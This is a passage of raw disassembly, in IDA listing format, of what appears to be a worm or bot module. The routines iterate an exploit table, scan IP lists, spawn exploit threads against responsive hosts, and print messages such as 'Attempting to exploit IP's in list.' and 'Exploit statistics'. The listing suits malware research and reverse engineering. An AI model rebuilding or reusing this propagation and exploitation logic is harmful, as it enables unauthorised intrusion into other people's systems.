locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; --------------------------------------------------------------------------- loc_41331E: ; DATA XREF: cAddress:00413987o ; cAddress:00413F2Fo push ebp mov ebp, esp sub esp, 14Ch push 14Ch push dword ptr [ebp+8] lea eax, [ebp-14Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 1 push dword ptr [ebp-10Eh] call sub_404457 pop ecx pop ecx lea eax, [ebp-10Ah] push eax push dword ptr [ebp-10Eh] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push dword ptr [ebp-10Eh] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: cAddress:0041336Cj cmp dword ptr [ebp-112h], 0 jz short loc_4133B1 push dword ptr [ebp-10Eh] call sub_41308F pop ecx cmp [ebp-112h], eax jz short loc_4133B1 push dword ptr [ebp-10Eh] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: cAddress:00413388j ; cAddress:0041339Cj cmp dword ptr [ebp-8Ah], 1 jnz short loc_4133E0 lea eax, [ebp-6] push eax push dword ptr [ebp-10Eh] call sub_404552 pop ecx pop ecx push offset dword_41EF18 lea eax, [ebp-86h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: cAddress:004133B8j cmp dword ptr [ebp-8Ah], 2 jnz short loc_413420 push 0Ah lea eax, [ebp-6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp-10Ah] push eax lea eax, [ebp-86h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: cAddress:004133E7j call sub_412D4C push eax lea eax, [ebp-6] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EF18 lea eax, [ebp-86h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_413444: ; CODE XREF: cAddress:004133DEj ; cAddress:0041341Ej lea eax, [ebp-14Ch] push eax call dword ptr [ebp-11Ah] cmp dword ptr [ebp-8Ah], 1 jnz short loc_41346F push dword ptr [ebp-10Eh] push dword ptr [ebp-14Ch] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: cAddress:00413458j cmp dword ptr [ebp-8Ah], 2 jnz short loc_41348A lea eax, [ebp-6] push eax lea eax, [ebp-86h] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: cAddress:0041346Dj ; cAddress:00413476j push dword ptr [ebp-10Eh] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: cAddress:0041337Cj ; cAddress:004133ACj leave retn 4 ; --------------------------------------------------------------------------- loc_41349C: ; DATA XREF: sub_413AB0+1F4o push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push dword ptr [ebp+8] lea eax, [ebp-628h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-51Ch] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp-358h] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: cAddress:004134D8j and dword ptr [ebp-62Ch], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: cAddress:loc_4135BAj mov eax, [ebp-62Ch] inc eax mov [ebp-62Ch], eax loc_41350B: ; CODE XREF: cAddress:004134FCj mov eax, [ebp-62Ch] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp-640h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp-640h] push eax call sub_4105FB pop ecx lea eax, [ebp-51Ch] push eax lea eax, [ebp-640h] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp-62Ch] imul eax, 3Ah add eax, offset byte_41CCA8 mov [ebp-358h], eax push 3Ah mov eax, [ebp-62Ch] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp-354h] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp-354h] push eax call sub_4105FB pop ecx lea eax, [ebp-341h] push eax call sub_4105FB pop ecx and dword ptr [ebp-296h], 0 lea eax, [ebp-341h] push eax lea eax, [ebp-51Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: cAddress:0041354Cj jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: cAddress:004134F0j ; cAddress:004135B8j lea eax, [ebp-624h] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push dword ptr [ebp-628h] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: cAddress:004135CEj mov al, byte_41DE00 mov [ebp-20Ch], al push 3Fh pop ecx xor eax, eax lea edi, [ebp-20Bh] rep stosd stosw stosb mov al, byte_41DE00 mov [ebp-108h], al push 3Fh pop ecx xor eax, eax lea edi, [ebp-107h] rep stosd stosw stosb lea eax, [ebp-108h] push eax lea eax, [ebp-624h] push eax lea eax, [ebp-20Ch] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push dword ptr [ebp-628h] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: cAddress:00413638j push dword ptr [ebp-506h] call sub_404D10 pop ecx mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_413675 push dword ptr [ebp-628h] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: cAddress:00413660j cmp dword ptr [ebp-358h], 0 jz loc_413782 mov eax, [ebp-358h] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp-644h], eax cmp dword ptr [ebp-644h], 0 jz short loc_4136B6 mov dword ptr [ebp-296h], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: cAddress:004136A8j mov dword ptr [ebp-296h], 3 loc_4136C0: ; CODE XREF: cAddress:004136B4j movsx eax, byte ptr [ebp-36Bh] test eax, eax jz short loc_4136E5 mov eax, [ebp-358h] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov dword ptr [ebp-296h], 1 loc_4136E5: ; CODE XREF: cAddress:004136C9j ; cAddress:004136D9j movsx eax, byte ptr [ebp-37Bh] test eax, eax jz short loc_4136FA mov dword ptr [ebp-296h], 2 loc_4136FA: ; CODE XREF: cAddress:004136EEj movsx eax, byte ptr [ebp-37Ah] test eax, eax jz short loc_41370F mov dword ptr [ebp-296h], 3 loc_41370F: ; CODE XREF: cAddress:00413703j cmp dword ptr [ebp-296h], 3 jnz short loc_41372B cmp dword ptr [ebp-644h], 0 jz short loc_41372B mov dword ptr [ebp-296h], 2 loc_41372B: ; CODE XREF: cAddress:00413716j ; cAddress:0041371Fj cmp dword ptr [ebp-296h], 3 jnz short loc_413782 mov al, [ebp-36Ah] mov [ebp-64Ch], al mov al, [ebp-377h] mov [ebp-648h], al mov byte ptr [ebp-36Ah], 1 and byte ptr [ebp-377h], 0 push 0 lea eax, [ebp-502h] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp-64Ch] mov [ebp-36Ah], al mov al, [ebp-648h] mov [ebp-377h], al loc_413782: ; CODE XREF: cAddress:0041367Cj ; cAddress:00413690j ... push offset dword_41E2A8 call sub_409C6C pop ecx push dword ptr [ebp-50Eh] lea eax, [ebp-51Ch] push eax lea eax, [ebp-624h] push eax push offset dword_41CE50 mov eax, [ebp-628h] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E2A8 call sub_409C7A pop ecx push dword ptr [ebp-50Eh] lea eax, [ebp-51Ch] push eax lea eax, [ebp-624h] push eax mov eax, [ebp-628h] push dword ptr [eax] push offset dword_41CE18 lea eax, [ebp-502h] push eax call sub_40D53F add esp, 18h cmp dword ptr [ebp-358h], 0 jnz short loc_413807 push 3E8h call dword_41709C ; Sleep loc_413807: ; CODE XREF: cAddress:004137FAj and dword ptr [ebp-10Ch], 0 call sub_416B64 ; clock mov [ebp-35Ch], eax and dword ptr [ebp-4], 0 loc_41381D: ; CODE XREF: cAddress:00413895j ; cAddress:004138E7j ... mov eax, [ebp-628h] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp-4] sub eax, [ebp-35Ch] mov ecx, [ebp-50Eh] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: cAddress:00413827j jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: cAddress:00413845j lea eax, [ebp-108h] push eax lea eax, [ebp-20Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp-108h] push eax lea eax, [ebp-624h] push eax lea eax, [ebp-20Ch] push eax call sub_407F3D add esp, 0Ch push offset dword_41EF18 lea eax, [ebp-20Ch] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: cAddress:00413893j push dword ptr [ebp-8] push 0 lea eax, [ebp-51Ch] push eax lea eax, [ebp-20Ch] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp-650h], eax cmp dword ptr [ebp-650h], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp-4] sub eax, [ebp-35Ch] mov ecx, [ebp-50Eh] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: cAddress:004138C7j ; cAddress:004138E5j push dword ptr [ebp-50Ah] call dword_41709C ; Sleep push dword ptr [ebp-8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: cAddress:00413956j ; cAddress:loc_413A30j push dword ptr [ebp-8] call sub_404F24 pop ecx mov [ebp-654h], eax cmp dword ptr [ebp-654h], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: cAddress:0041391Fj mov eax, [ebp-10Ch] inc eax mov [ebp-10Ch], eax cmp dword ptr [ebp-358h], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp-658h], eax cmp dword ptr [ebp-658h], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: cAddress:00413954j push 14Ch lea eax, [ebp-358h] push eax push dword ptr [ebp-658h] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-658h] mov ecx, [ebp-654h] mov [eax+3Eh], ecx push dword ptr [ebp-658h] push offset loc_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push dword ptr [ebp-658h] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: cAddress:00413995j push dword ptr [ebp-8] push dword ptr [ebp-654h] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: cAddress:004139A3j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: cAddress:0041393Aj mov eax, [ebp-628h] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: cAddress:004139C1j lea eax, [ebp-75Ch] push eax push dword ptr [ebp-654h] call sub_4044F7 pop ecx pop ecx mov al, [ebp-36Ah] mov [ebp-65Ch], al and byte ptr [ebp-36Ah], 0 lea eax, [ebp-51Ch] push eax lea eax, [ebp-75Ch] push eax push offset dword_41CE04 lea eax, [ebp-502h] push eax call sub_40D53F add esp, 10h mov al, [ebp-65Ch] mov [ebp-36Ah], al push 3E8h call dword_41709C ; Sleep mov eax, [ebp-4] add eax, 3E8h mov [ebp-4], eax loc_413A30: ; CODE XREF: cAddress:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: cAddress:00413903j ; cAddress:00413921j ... push dword ptr [ebp-8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: cAddress:loc_413847j push dword ptr [ebp-10Ch] call sub_416B64 ; clock sub eax, [ebp-35Ch] mov [ebp-764h], eax and dword ptr [ebp-760h], 0 fild qword ptr [ebp-764h] fdiv flt_417270 push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-51Ch] push eax lea eax, [ebp-624h] push eax push offset unk_41CDC0 lea eax, [ebp-502h] push eax call sub_40D53F add esp, 1Ch push dword ptr [ebp-8] call sub_404FD0 pop ecx push dword ptr [ebp-628h] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: cAddress:004135DEj ; cAddress:00413648j ... pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte_41CCA8[eax] test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CE7C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset loc_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; --------------------------------------------------------------------------- loc_413CB3: ; DATA XREF: sub_413FE7+5Co push ebp mov ebp, esp sub esp, 49Ch push 327h push dword ptr [ebp+8] lea eax, [ebp-330h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx mov eax, [ebp-330h] push dword ptr [eax] push offset unk_41CF28 lea eax, [ebp-1ACh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-334h], 0 and dword ptr [ebp-484h], 0 lea eax, [ebp-4] push eax push offset dword_418F4C lea eax, [ebp-32Ch] push eax call sub_40813C add esp, 0Ch mov [ebp-8], eax loc_413D21: ; CODE XREF: cAddress:loc_413FA8j mov eax, [ebp-334h] inc eax mov [ebp-334h], eax and dword ptr [ebp-488h], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: cAddress:00413EEEj ; cAddress:loc_413F77j mov eax, [ebp-488h] inc eax mov [ebp-488h], eax loc_413D44: ; CODE XREF: cAddress:00413D35j mov eax, [ebp-488h] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp-488h] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp-47Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-488h] imul eax, 3Ah add eax, offset byte_41CCA8 mov [ebp-480h], eax lea eax, [ebp-47Ch] push eax call sub_4105FB pop ecx lea eax, [ebp-469h] push eax call sub_4105FB pop ecx cmp dword ptr [ebp-480h], 0 jz loc_413E9A mov eax, [ebp-480h] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp-490h], eax cmp dword ptr [ebp-490h], 0 jz short loc_413DE9 mov dword ptr [ebp-3BEh], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: cAddress:00413DDBj mov dword ptr [ebp-3BEh], 3 loc_413DF3: ; CODE XREF: cAddress:00413DE7j movsx eax, byte ptr [ebp-15h] test eax, eax jz short loc_413E15 mov eax, [ebp-480h] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov dword ptr [ebp-3BEh], 1 loc_413E15: ; CODE XREF: cAddress:00413DF9j ; cAddress:00413E09j movsx eax, byte ptr [ebp-25h] test eax, eax jz short loc_413E27 mov dword ptr [ebp-3BEh], 2 loc_413E27: ; CODE XREF: cAddress:00413E1Bj movsx eax, byte ptr [ebp-24h] test eax, eax jz short loc_413E39 mov dword ptr [ebp-3BEh], 3 loc_413E39: ; CODE XREF: cAddress:00413E2Dj cmp dword ptr [ebp-3BEh], 3 jnz short loc_413E55 cmp dword ptr [ebp-490h], 0 jz short loc_413E55 mov dword ptr [ebp-3BEh], 2 loc_413E55: ; CODE XREF: cAddress:00413E40j ; cAddress:00413E49j cmp dword ptr [ebp-3BEh], 3 jnz short loc_413E9A mov al, [ebp-14h] mov [ebp-498h], al mov al, [ebp-21h] mov [ebp-494h], al mov byte ptr [ebp-14h], 1 and byte ptr [ebp-21h], 0 push 0 lea eax, [ebp-1ACh] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp-498h] mov [ebp-14h], al mov al, [ebp-494h] mov [ebp-21h], al loc_413E9A: ; CODE XREF: cAddress:00413DAFj ; cAddress:00413DC3j ... movsx eax, byte ptr [ebp-13h] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp-469h] push eax push dword ptr [ebp-8] call sub_4050EA add esp, 10h mov [ebp-48Ch], eax cmp dword ptr [ebp-48Ch], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp-49Ch], eax cmp dword ptr [ebp-49Ch], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: cAddress:00413EECj push 14Ch lea eax, [ebp-480h] push eax push dword ptr [ebp-49Ch] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-484h] inc eax mov [ebp-484h], eax mov eax, [ebp-49Ch] mov ecx, [ebp-48Ch] mov [eax+3Eh], ecx push dword ptr [ebp-49Ch] push offset loc_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push dword ptr [ebp-48Ch] call sub_4053B1 pop ecx push dword ptr [ebp-49Ch] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: cAddress:00413F3Dj lea eax, [ebp-47Ch] push eax push dword ptr [ebp-8] push offset dword_41CEF8 lea eax, [ebp-1ACh] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: cAddress:00413ECEj ; cAddress:00413F57j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: cAddress:00413D54j lea eax, [ebp-4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: cAddress:00413F96j mov eax, [ebp-330h] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: cAddress:00413FA4j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: cAddress:00413F98j ; cAddress:00413FA6j push dword ptr [ebp-334h] push dword ptr [ebp-484h] mov eax, [ebp-330h] push dword ptr [eax] push offset dword_41CEB4 lea eax, [ebp-1ACh] push eax call sub_40D53F add esp, 14h push dword ptr [ebp-330h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset loc_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; --------------------------------------------------------------------------- loc_414052: ; DATA XREF: sub_41417D+35o push ebp mov ebp, esp sub esp, 3C0h push 1A7h push dword ptr [ebp+8] lea eax, [ebp-3C0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp-200h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and dword ptr [ebp-204h], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: cAddress:loc_41414Aj mov eax, [ebp-204h] inc eax mov [ebp-204h], eax loc_4140A4: ; CODE XREF: cAddress:00414095j mov eax, [ebp-204h] imul eax, 3Ah movsx eax, byte_41CCA8[eax] test eax, eax jz loc_41414F push 12h mov eax, [ebp-204h] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp-218h] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp-218h] push eax call sub_4105FB pop ecx lea eax, [ebp-218h] push eax lea eax, [ebp-200h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp-204h] imul eax, 3Ah push dword_41CCD2[eax] push offset dword_41CF7C lea eax, [ebp-200h] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax-200h] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, byte ptr [ebp-225h] test eax, eax jz short loc_41414A mov eax, [ebp-204h] imul eax, 3Ah and dword_41CCD2[eax], 0 loc_41414A: ; CODE XREF: cAddress:00414138j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: cAddress:004140B6j and byte ptr [ebp-224h], 0 lea eax, [ebp-200h] push eax lea eax, [ebp-3BCh] push eax call sub_40D53F pop ecx pop ecx push dword ptr [ebp-3C0h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset loc_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; --------------------------------------------------------------------------- loc_4141C1: ; DATA XREF: sub_4142BF+E2o push ebp mov ebp, esp sub esp, 2BCh push 2B1h push dword ptr [ebp+8] lea eax, [ebp-2BCh] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp-4], eax push dword ptr [ebp-1B2h] push 0 lea eax, [ebp-1B8h] push eax lea eax, [ebp-2B8h] push eax call sub_4050EA add esp, 10h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz short loc_41424F push dword ptr [ebp-8] call sub_4053B1 pop ecx call sub_416B64 ; clock 